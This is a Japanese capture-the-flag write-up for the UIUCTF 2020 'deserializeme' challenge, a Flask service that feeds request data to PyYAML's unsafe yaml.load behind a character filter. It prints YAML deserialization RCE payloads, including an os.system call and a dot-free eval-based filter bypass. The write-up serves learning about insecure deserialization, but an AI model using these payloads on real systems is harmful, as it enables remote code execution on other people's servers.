CTFtime.org / UIUCTF 2020 / deserializeme
This service deserializes whatever you send it. Can you pwn it?
https://deserializeme.chal.uiuc.tf/
author: arxenix
ソースコードも与えられる。
以下抜粋。flag.txtというファイルも直下にあり、そこにフラグがあるようだ。
@app.route('/', methods=["POST"]) def pwnme(): if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE): return "Nice try!", 400 return yaml.load(request.data)
requirements.txtも与えられている。YAMLのパーサーが特徴的。
Flask==1.1.2 PyYAML==5.3.1
- 正規表現のフィルターを回避?
if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE):
- YAMLへの攻撃? YAML Deserialization Attack?
解説を見る
- uiuctf 2020 - HackMD
- これ?
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]
PyYAMLはunsafeなの?
えー、ちゃんとソースコードが与えられたら環境を作って実行してみなさい。という話。
実際に動かしてみると、以下のような警告が出る。
app.py:13: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
ちょっとググると情報が出てくる。
PyYAMLがyaml.loadでYAMLLoadWarningを出してくるようになった件 - Qiita
警告によると、つまり現在はunsafeな状態にあるようだ。
どうunsafe?
PyYAML yaml.load(input) Deprecation · yaml/pyyaml Wiki-Deprecation)
RCEができるようだ。
つまりは、YAML Deserialization Attack、安全でないデシリアライゼーションといった感じ。
ここにあるサンプルをまずは試してみよう。
!!python/object/new:os.system [echo EXPLOIT!]
ふむ。フィルタリング条件を見てみると、ドットが入っているのがだめらしい。
ということで、ドット抜きで構成したRCE用YAMLが
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]
となる。何が起きているのかさっぱりわからん。
使えそうなペイロードを以下にまとめとく。
- ここの解説にも回避コードが紹介されている
- CVE-2020-1747 PyYAML PoC